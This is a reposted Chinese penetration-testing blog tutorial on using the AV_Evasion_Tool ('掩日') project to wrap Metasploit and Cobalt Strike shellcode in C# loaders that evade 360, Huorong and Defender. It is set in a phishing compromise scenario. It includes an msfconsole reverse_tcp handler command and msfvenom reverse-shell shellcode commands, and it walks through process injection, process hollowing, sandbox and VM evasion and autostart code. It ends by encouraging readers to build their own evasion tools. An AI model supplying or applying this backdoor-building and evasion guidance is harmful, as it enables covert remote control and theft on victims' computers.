渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软

admin 2021年5月11日18:49:24评论273 views字数 4814阅读16分2秒阅读模式

渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软

简介


渗透测试-地基篇


该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。


请注意:


本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!


一、前言


市面上很多技术人员使用C语言编写图形化界面,接下来演示的将是利用C语言编写的图形化框架界面,调用各种机制进行Load注入,方式多种多样,最终达到全免杀的过程。

在对其底层源码进行多层次分析,分析其C语言框架思路,函数对应机制注入的分析,多样化和多元化的方式方法,拓展思路的同时学习简单的方法,能在此基础上做到自己的免杀工具,打造自我logo的免杀工具。

演示非常详细,共演示几种方法全免杀,演示细致从初部署环境到C#语言输出shellcode进行2021年如今全免杀的过程,开始!


二、环境介绍


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软



黑客(攻击者)

IP:192.168.175.145

系统:kali.2020.4

windows 2019系统是黑客用于Nim编程制作免杀exe的系统。

VPS服务器:

此次模拟环境将直接越过VPS平台,已成功在VPS上进行了钓鱼行为。

办公区域

系统:windwos 10

IP:192.168.2.142

存在:360、360杀毒、火绒、deferencer,以及全球和全国杀软平台检测。

目前黑客通过kali系统进行攻击行为,通过钓鱼获得了对方的权限后,发现对方电脑上存在360、360杀毒、火绒、deferencer直接被杀软进行了查杀,无法进行反弹shell获得权限,如今将演示利用C语言框架配合C#语言进行六种加密混淆方式,以及底层分析生成免杀exe,并控制对方的过程。


三、环境部署


在Windows server 2019系统环境进行开始部署:


1、安装gcc环境


安装地址:


https://github.com/jmeubank/tdm-gcc/releases/download/v9.2.0-tdm64-1/tdm64-gcc-9.2.0.exe


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


选择Create


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


如图选择


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


选择安装目录


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


默认选择


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


成功安装!


2、下载AV_Evasion_Tool


项目地址:

https://github.com/dayuxiyou/AV_Evasion_Tool/tags


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


可看到作者2020年出了4个版本,底层分析四个版本都可以下载下来。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


下载后,分别打开2.0和3.0文件夹底部的.sln选择Visual Studio 2019打开。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


2.0和3.0执行方式一致,都重新生成即可。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软



在bin/Debug目录下运行exe即可。


四、掩日2.0演示


1、测试msf后门


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软



目前打开第一界面是极简界面。
填入本地开启的本端监听IP+端口,点击生成。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


生成后测试效果,全免杀。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


攻击系统kali运行msf:

msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.175.2; set lport 4444; exploit -j; "


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


在三件套杀软下,免杀并运行动态交互命令,正常。


2、进阶版介绍


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


1. 支持32和64位系统

2. 支持C和C#语言的shellcode编译

3. 执行方式有四种

4. 注入进程写死为:notepad.exe #可在底层修改

5. 可简单过沙箱。

只需要在框中黏贴shellcode代码执行即可生成exe后门。

1)创建shellcode-C#/C


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


创建C#和C的shellcode。

2)C-shellcode测试免杀


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


在测试C的shellcode生成时...


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


四种方式执行生成的后门都是直接被秒杀!

3)C#-shellcode测试免杀


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


可看到火绒秒杀了...


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


360和deferencer可免杀,已上线并正常命令交互控制。

可看到经过测试得出结果:


1. MSF后门全免杀。

2. C#免杀360和deferencer,火绒秒杀。

2.0的版本混淆的C#和msf免杀还是有用的,那么继续分析3.0的版本。


五、掩日3.0演示

1、详细框架介绍

渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


运行Visual Studio 2019生成的exe文件。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


1. 支持32和64位系统 2. 生成格式有三种 3. 支持msf、C和C#语言的shellcode编译 4. 执行方式有七种 5. 注入进程可自行修改(2.0写死无法修改) 6. 可简单过沙箱 7. 支持隐藏执行界面 .....

只需要在框中黏贴shellcode代码执行即可生成exe后门。


2、演示免杀


这里C语言shellcode就不写出来了,C后门都不免杀。

1)测试直接执行两种

直接执行VirtualAlloc和VirtualProtect:

VirtualAlloc是一个Windows API函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。
简单点的意思就是申请内存空间

VirtualProtect,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


生成C#的exe后门文件 ...


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


可看到全免杀,这里窗口提示点击下隐藏执行界面在生成即可解决。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


那么在经过交互测试,动态交互情况下,也是稳定正常控制全免杀的。

2)测试新进程注入

VirtualAllocEx 函数的作用是在指定进程的虚拟空间保留或提交内存区域,除非指定MEM_RESET参数,否则将该内存区域置0。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


生成C#的VirtualAllocEx后门。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


无法过火绒...


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


但360和360杀毒以及Defender杀软都可免杀。

3)SYSCALL测试

SYSCALL是内核系统调用。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


生成C#的SYSCALL后门。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


那么在经过交互测试,动态交互情况下,也是稳定正常控制全免杀的。
尝试修改为PID值为powershell.exe上线,默认是notepad.exe!也是正常全免杀的。

4)进程镂空测试

进程镂空(Process Hollowing):

Process Hollowing是一种检测机制,这里底层写入了绕过Process Hollowing的混淆方法。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


生成C#的镂空后门。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


那么在经过交互测试,动态交互情况下,也是稳定正常控制全免杀的。

两种msf生成后门的方法:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f csharp

到这里测试了几种C#的方法,MSF的shellcode都是全免杀的,我就不写出来了,接下来将简单查看下底层代码如何混淆的,以及如何简单修改等思路。


六、底层分析

1、底层分析掩日2.0源码

1)C_Template.cs文件


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


可看到C_Template.cs文件是对应GetProcAddress注入方式的,分析得来是利用动态进行申请内存,强制类型转换成函数指针然后嵌入式汇编执行shellcode等。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


C_Template.cs文件往下看还体现了注入到新进程的PID,延时绕沙箱,检查注册表和文件绕虚拟机底层代码,那么这里可以根据延时和时间判断进行模拟修改测试。


2)Common.cs文件


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


Common.cs文件可看到执行的是混淆随机字符串,生成的shellcode通过cmd执行运行,这里可以在字符串下手修改。

3)Core.cs文件
这里Compiler.cs文件就越过了,是调用接口的文件。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


Core.cs文件源码是对应掩日2.0图形化极简切换代码,以及编译使用了gcc的lws2_32模块生成exe,以及处理shellcode形式为C#,这块目前测试C#全免杀,熟悉了解即可不修改。


4)CS_Template.cs文件


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


从图中可看到CS_Template.cs文件主要涵盖了三种注入方式的底层源码执行,其中有GetProcAddress、VirtualProtect、syscall注入现有进程,以及底层还有沙箱绕过的机制代码和开启自启等代码,这里不需要修改,但思路是可在后续添加新注入混淆机制,就在这里加就行。

CS_Template.cs文件添加了syscall注入现有进程机制是为了更新3.0版本做的铺垫。


5)Form1.cs


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软



这里也是比较重要的,在零基础分析上需要利用C语言设计图形框架,可以借鉴作者的思路,在此基础上进行修改增添双击即可达到图形化上的相对应界面

6)简单总结

后续几个文件都是调用对接接口的源码文件,就不进行解析了,这里主要总结的是三点:


1. 一个是图形化界面的修改增添。2. 注入方式的修改 3. 混淆方式字符串和exe的定位

抓住三个核心点,在谷歌上找寻C和C#配合的别的机制,进行增添修改可达到功能的增加,免杀更多元多样化。


2、底层分析掩日3.0源码


1)DotNetToJScript.cs文件


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


DotNetToJScript.cs文件是DotNetToJScript工具的源代码,主要作用是引导任意.NET程序集和JScript类型的,例如执行交互创建对象记事本exe等。

2) Encrypter.cs文件


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


Encrypter.cs文件底层就是一个加密函数的源码,执行后对shellcode进行加密处理。


3)Form1.cs文件


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


Form1.cs和Form2.cs文件是都是一个意思,都是对于增添图形化界面做修改的,在2.0代码分析就提过了,这里直接底层修改即可。


4)Global_Var.cs文件


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


这是3.0版本的新功能,底层代码作用是新生成个类似公网VPS作用的服务器,类似于分离免杀的功能,生成HTTP服务,并让对方执行下载运行的道理。这儿还在待开发阶段,可自行深入研究修改。


往下两个IScriptGenerator.cs文件都是调用接口然后对应函数的文件。


5) 11个TP注入源码文件


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


后面11个TP开头的注入方式的源码文件,这里很可观了,我就不全截图了,这里和2.0的CS_Template.cs文件一样的道理,在2.0作者是把所有机制注入源码写入了CS_Template.cs单个文件中,在3.0作者将11种注入方式分别写出来了。


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


可看到对应的就是图形化界面中的这些方式,修改的地方很较为限制,可在3.0版本中添加新机制注入得新创建cs后调用接口函数即可。


6)trojan.ico文件


渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软


trojan.ico文件就是对应ico图标了,自行修改即可。

7)简单总结

对比2.0版本,3.0版本更新和优化还是很多的:


1. 隐藏执行界面 2. 新增加了7种免杀注入机制 3. 更换了三种方式输出 4. msf的人性化指示等 5. 图形化界面功能的扩大 ....

我们可以在2.0和3.0基础的比较下,分析了作者的简单优化思路,那么作为引路人的我,熟悉C语言底层代码函数的小伙伴,就可以开始利用知识对3.0版本上的源码框架在进一步写出自己的免杀工具附带更多的免杀注入机制,达到全免杀的效果了。


七、总结


在进行了环境介绍-> 环境部署-> 演示2.0版本免杀-> 演示3.0版本免杀-> 分析2.0版本源码-> 分析3.0版本源码的过程,中途也达到了全免杀的效果,对于简单的底层分析了作者的版本增添的思路,以及框架上源码的作用,对于制作新的免杀框架和新的注入机制提供了帮助。


在此基础上,免杀是主要的,写一款自己的免杀工具也是较为重要的,在这里带小伙伴们演示了一遍免杀C语言框架制作的简单过程以及思路,以及多种注入机制在目前2021年现今还能全免杀,在各种HVV期间给小伙伴们提供了更多的内网渗透的机会。引路人大余,加油小伙伴们。




渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软

本文始发于微信公众号(疯猫网络):渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月11日18:49:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软https://cn-sec.com/archives/370332.html

发表评论

匿名网友 填写信息